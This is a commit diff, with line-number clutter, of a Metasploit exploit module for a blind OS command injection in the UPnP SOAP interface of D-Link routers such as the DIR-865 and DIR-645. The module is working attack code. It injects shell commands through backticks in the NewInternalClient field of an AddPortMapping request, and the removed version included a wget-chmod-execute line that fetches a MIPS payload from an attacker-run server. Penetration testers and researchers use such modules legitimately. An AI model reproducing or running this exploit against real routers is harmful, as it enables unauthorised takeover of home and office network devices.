6
6
require 'msf/core'
7
7
8
8
class Metasploit3 < Msf ::Exploit ::Remote
9
- Rank = AverageRanking
9
+ Rank = NormalRanking
10
10
11
11
include Msf ::Exploit ::Remote ::HttpClient
12
- include Msf ::Exploit ::Remote ::HttpServer
13
- include Msf ::Exploit ::EXE
14
- include Msf ::Exploit ::FileDropper
15
- include Msf ::Auxiliary ::CommandShell
12
+ include Msf ::Exploit ::CmdStager
16
13
17
14
def initialize ( info = { } )
18
15
super ( update_info ( info ,
19
16
'Name' => 'D-Link Devices UPnP SOAP Command Execution' ,
20
17
'Description' => %q{
21
18
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
22
19
interface. Since it is a blind OS command injection vulnerability, there is no
23
- output for the executed command when using the CMD target. Additionally, a target
24
- to deploy a native mipsel payload, when wget is available on the target device, has
25
- been added. This module has been tested on DIR-865 and DIR-645 devices.
20
+ output for the executed command. This module has been tested on DIR-865 and DIR-645 devices.
26
21
} ,
27
22
'Author' =>
28
23
[
29
- 'Michael Messner <devnull@ s3cur1ty.de>' , # Vulnerability discovery and Metasploit module
24
+ 'Michael Messner <devnull[at] s3cur1ty.de>' , # Vulnerability discovery and Metasploit module
30
25
'juan vazquez' # minor help with msf module
31
26
] ,
32
27
'License' => MSF_LICENSE ,
33
28
'References' =>
34
29
[
35
- [ 'OSVDB' , '94924' ] ,
36
- [ 'BID' , '61005' ] ,
37
- [ 'EDB' , '26664' ] ,
38
- [ 'URL' , 'http://www.s3cur1ty.de/m1adv2013-020' ]
30
+ [ 'OSVDB' , '94924' ] ,
31
+ [ 'BID' , '61005' ] ,
32
+ [ 'EDB' , '26664' ] ,
33
+ [ 'URL' , 'http://www.s3cur1ty.de/m1adv2013-020' ]
39
34
] ,
40
35
'DisclosureDate' => 'Jul 05 2013' ,
41
36
'Privileged' => true ,
42
- 'Platform' => %w{ linux unix } ,
43
37
'Payload' =>
44
38
{
45
- 'DisableNops' => true ,
39
+ 'DisableNops' => true
46
40
} ,
47
- 'Targets' =>
41
+ 'Targets' =>
48
42
[
49
- [ 'CMD' , #all devices
43
+ [ 'MIPS Little Endian' ,
50
44
{
51
- 'Arch ' => ARCH_CMD ,
52
- 'Platform' => 'unix'
45
+ 'Platform ' => 'linux' ,
46
+ 'Arch' => ARCH_MIPSLE
53
47
}
54
48
] ,
55
- [ 'Linux mipsel Payload' , #DIR-865, DIR-645 and others with wget installed
49
+ [ 'MIPS Big Endian' , # unknown if there are BE devices out there ... but in case we have a target
56
50
{
57
- 'Arch ' => ARCH_MIPSLE ,
58
- 'Platform' => 'linux'
51
+ 'Platform ' => 'linux' ,
52
+ 'Arch' => ARCH_MIPS
59
53
}
60
54
] ,
61
55
] ,
62
- 'DefaultTarget' => 1
56
+ 'DefaultTarget' => 0
63
57
) )
64
58
59
+ deregister_options ( 'CMDSTAGER::DECODER' , 'CMDSTAGER::FLAVOR' )
60
+
65
61
register_options (
66
62
[
67
- Opt ::RPORT ( 49152 ) , #port of UPnP SOAP webinterface
68
- OptAddress . new ( 'DOWNHOST' , [ false , 'An alternative host to request the MIPS payload from' ] ) ,
69
- OptString . new ( 'DOWNFILE' , [ false , 'Filename to download, (default: random)' ] ) ,
70
- OptInt . new ( 'HTTP_DELAY' , [ true , 'Time that the HTTP Server will wait for the ELF payload request' , 60 ] ) ,
63
+ Opt ::RPORT ( 49152 ) # port of UPnP SOAP webinterface
71
64
] , self . class )
72
65
end
73
66
74
- def exploit
75
- @new_portmapping_descr = rand_text_alpha ( 8 )
76
- @new_external_port = rand ( 65535 )
77
- @new_internal_port = rand ( 65535 )
78
-
79
- if target . name =~ /CMD/
80
- exploit_cmd
81
- else
82
- exploit_mips
83
- end
84
- end
85
-
86
- def exploit_cmd
87
- if not ( datastore [ 'CMD' ] )
88
- fail_with ( Failure ::BadConfig , "#{ rhost } :#{ rport } - Only the cmd/generic payload is compatible" )
89
- end
90
- cmd = payload . encoded
91
- type = "add"
92
- res = request ( cmd , type )
93
- if ( !res or res . code != 200 or res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /Linux\, \ UPnP\/ 1.0,\ DIR/ )
94
- fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
95
- end
96
- print_status ( "#{ rhost } :#{ rport } - Blind Exploitation - unknown Exploitation state" )
97
- type = "delete"
98
- res = request ( cmd , type )
99
- if ( !res or res . code != 200 or res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /Linux\, \ UPnP\/ 1.0,\ DIR/ )
100
- fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
101
- end
102
- return
103
- end
104
-
105
- def exploit_mips
106
-
107
- downfile = datastore [ 'DOWNFILE' ] || rand_text_alpha ( 8 +rand ( 8 ) )
108
-
109
- #thx to Juan for his awesome work on the mipsel elf support
110
- @pl = generate_payload_exe
111
- @elf_sent = false
112
-
113
- #
114
- # start our server
115
- #
116
- resource_uri = '/' + downfile
117
-
118
- if ( datastore [ 'DOWNHOST' ] )
119
- service_url = 'http://' + datastore [ 'DOWNHOST' ] + ':' + datastore [ 'SRVPORT' ] . to_s + resource_uri
120
- else
121
- # do not use SSL for this part
122
- # XXX: See https://dev.metasploit.com/redmine/issues/8498
123
- # It must be possible to do this without directly editing the
124
- # datastore.
125
- if datastore [ 'SSL' ]
126
- ssl_restore = true
127
- datastore [ 'SSL' ] = false
128
- end
129
-
130
- #we use SRVHOST as download IP for the coming wget command.
131
- #SRVHOST needs a real IP address of our download host
132
- if ( datastore [ 'SRVHOST' ] == "0.0.0.0" or datastore [ 'SRVHOST' ] == "::" )
133
- srv_host = Rex ::Socket . source_address ( rhost )
134
- else
135
- srv_host = datastore [ 'SRVHOST' ]
67
+ def check
68
+ begin
69
+ res = send_request_cgi ( {
70
+ 'uri' => '/InternetGatewayDevice.xml'
71
+ } )
72
+ if res && [ 200 , 301 , 302 ] . include? ( res . code ) && res . body . to_s =~ /<modelNumber>DIR-/
73
+ return Exploit ::CheckCode ::Detected
136
74
end
137
-
138
- service_url = 'http://' + srv_host + ':' + datastore [ 'SRVPORT' ] . to_s + resource_uri
139
-
140
- print_status ( "#{ rhost } :#{ rport } - Starting up our web service on #{ service_url } ..." )
141
- start_service ( { 'Uri' => {
142
- 'Proc' => Proc . new { |cli , req |
143
- on_request_uri ( cli , req )
144
- } ,
145
- 'Path' => resource_uri
146
- } } )
147
-
148
- # Restore SSL preference
149
- # XXX: See https://dev.metasploit.com/redmine/issues/8498
150
- # It must be possible to do this without directly editing the
151
- # datastore.
152
- datastore [ 'SSL' ] = true if ssl_restore
75
+ rescue ::Rex ::ConnectionError
76
+ return Exploit ::CheckCode ::Unknown
153
77
end
154
78
155
- #
156
- # download payload
157
- #
158
- print_status ( "#{ rhost } :#{ rport } - Asking the D-Link device to take and execute #{ service_url } " )
159
- #this filename is used to store the payload on the device
160
- filename = rand_text_alpha_lower ( 8 )
79
+ Exploit ::CheckCode ::Unknown
80
+ end
161
81
162
- cmd = "/usr/bin/wget #{ service_url } -O /tmp/#{ filename } ; chmod 777 /tmp/#{ filename } ; /tmp/#{ filename } "
163
- type = "add"
164
- res = request ( cmd , type )
165
- if ( !res or res . code != 200 or res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /Linux\, \ UPnP\/ 1.0,\ DIR/ )
166
- fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to deploy payload" )
167
- end
82
+ def exploit
83
+ print_status ( "#{ peer } - Trying to access the device ..." )
168
84
169
- # wait for payload download
170
- if ( datastore [ 'DOWNHOST' ] )
171
- print_status ( "#{ rhost } :#{ rport } - Giving #{ datastore [ 'HTTP_DELAY' ] } seconds to the D-Link device to download the payload" )
172
- select ( nil , nil , nil , datastore [ 'HTTP_DELAY' ] )
173
- else
174
- wait_linux_payload
85
+ unless check == Exploit ::CheckCode ::Detected
86
+ fail_with ( Failure ::Unknown , "#{ peer } - Failed to access the vulnerable device" )
175
87
end
176
88
177
- register_file_for_cleanup ( "/tmp/ #{ filename } ")
89
+ print_status ( " #{ peer } - Exploiting... ")
178
90
179
- type = "delete"
180
- res = request ( cmd , type )
181
- if ( !res or res . code != 200 or res . headers [ 'Server' ] . nil? or res . headers [ 'Server' ] !~ /Linux\, \ UPnP\/ 1.0,\ DIR/ )
182
- fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - Unable to execute payload" )
183
- end
91
+ execute_cmdstager (
92
+ :flavor => :echo ,
93
+ :linemax => 400
94
+ )
184
95
end
185
96
186
- def request ( cmd , type )
97
+ def execute_command ( cmd , opts )
98
+ new_portmapping_descr = rand_text_alpha ( 8 )
99
+ new_external_port = rand ( 32767 ) + 32768
100
+ new_internal_port = rand ( 32767 ) + 32768
187
101
188
102
uri = '/soap.cgi'
189
103
104
+ soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
105
+
190
106
data_cmd = "<?xml version=\" 1.0\" ?>"
191
107
data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\" http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\" http://schemas.xmlsoap.org/soap/encoding/\" >"
192
108
data_cmd << "<SOAP-ENV:Body>"
193
-
194
- if type == "add"
195
- vprint_status ( "#{ rhost } :#{ rport } - adding portmapping" )
196
-
197
- soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
198
-
199
- data_cmd << "<m:AddPortMapping xmlns:m=\" urn:schemas-upnp-org:service:WANIPConnection:1\" >"
200
- data_cmd << "<NewPortMappingDescription>#{ @new_portmapping_descr } </NewPortMappingDescription>"
201
- data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
202
- data_cmd << "<NewInternalClient>`#{ cmd } `</NewInternalClient>"
203
- data_cmd << "<NewEnabled>1</NewEnabled>"
204
- data_cmd << "<NewExternalPort>#{ @new_external_port } </NewExternalPort>"
205
- data_cmd << "<NewRemoteHost></NewRemoteHost>"
206
- data_cmd << "<NewProtocol>TCP</NewProtocol>"
207
- data_cmd << "<NewInternalPort>#{ @new_internal_port } </NewInternalPort>"
208
- data_cmd << "</m:AddPortMapping>"
209
- else
210
- #we should clean it up ... otherwise we are not able to exploit it multiple times
211
- vprint_status ( "#{ rhost } :#{ rport } - deleting portmapping" )
212
- soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
213
-
214
- data_cmd << "<m:DeletePortMapping xmlns:m=\" urn:schemas-upnp-org:service:WANIPConnection:1\" >"
215
- data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{ @new_external_port } </NewExternalPort><NewRemoteHost></NewRemoteHost>"
216
- data_cmd << "</m:DeletePortMapping>"
217
- end
218
-
109
+ data_cmd << "<m:AddPortMapping xmlns:m=\" urn:schemas-upnp-org:service:WANIPConnection:1\" >"
110
+ data_cmd << "<NewPortMappingDescription>#{ new_portmapping_descr } </NewPortMappingDescription>"
111
+ data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
112
+ data_cmd << "<NewInternalClient>`#{ cmd } `</NewInternalClient>"
113
+ data_cmd << "<NewEnabled>1</NewEnabled>"
114
+ data_cmd << "<NewExternalPort>#{ new_external_port } </NewExternalPort>"
115
+ data_cmd << "<NewRemoteHost></NewRemoteHost>"
116
+ data_cmd << "<NewProtocol>TCP</NewProtocol>"
117
+ data_cmd << "<NewInternalPort>#{ new_internal_port } </NewInternalPort>"
118
+ data_cmd << "</m:AddPortMapping>"
219
119
data_cmd << "</SOAP-ENV:Body>"
220
120
data_cmd << "</SOAP-ENV:Envelope>"
221
121
@@ -232,36 +132,9 @@ def request(cmd, type)
232
132
} ,
233
133
'data' => data_cmd
234
134
} )
235
- return res
135
+ return res
236
136
rescue ::Rex ::ConnectionError
237
- vprint_error ( "#{ rhost } :#{ rport } - Failed to connect to the web server" )
238
- return nil
239
- end
240
- end
241
-
242
- # Handle incoming requests from the server
243
- def on_request_uri ( cli , request )
244
- #print_status("on_request_uri called: #{request.inspect}")
245
- if ( not @pl )
246
- print_error ( "#{ rhost } :#{ rport } - A request came in, but the payload wasn't ready yet!" )
247
- return
248
- end
249
- print_status ( "#{ rhost } :#{ rport } - Sending the payload to the server..." )
250
- @elf_sent = true
251
- send_response ( cli , @pl )
252
- end
253
-
254
- # wait for the data to be sent
255
- def wait_linux_payload
256
- print_status ( "#{ rhost } :#{ rport } - Waiting for the target to request the ELF payload..." )
257
-
258
- waited = 0
259
- while ( not @elf_sent )
260
- select ( nil , nil , nil , 1 )
261
- waited += 1
262
- if ( waited > datastore [ 'HTTP_DELAY' ] )
263
- fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - Target didn't request request the ELF payload -- Maybe it can't connect back to us?" )
264
- end
137
+ fail_with ( Failure ::Unreachable , "#{ peer } - Failed to connect to the web server" )
265
138
end
266
139
end
267
140
end
0 commit comments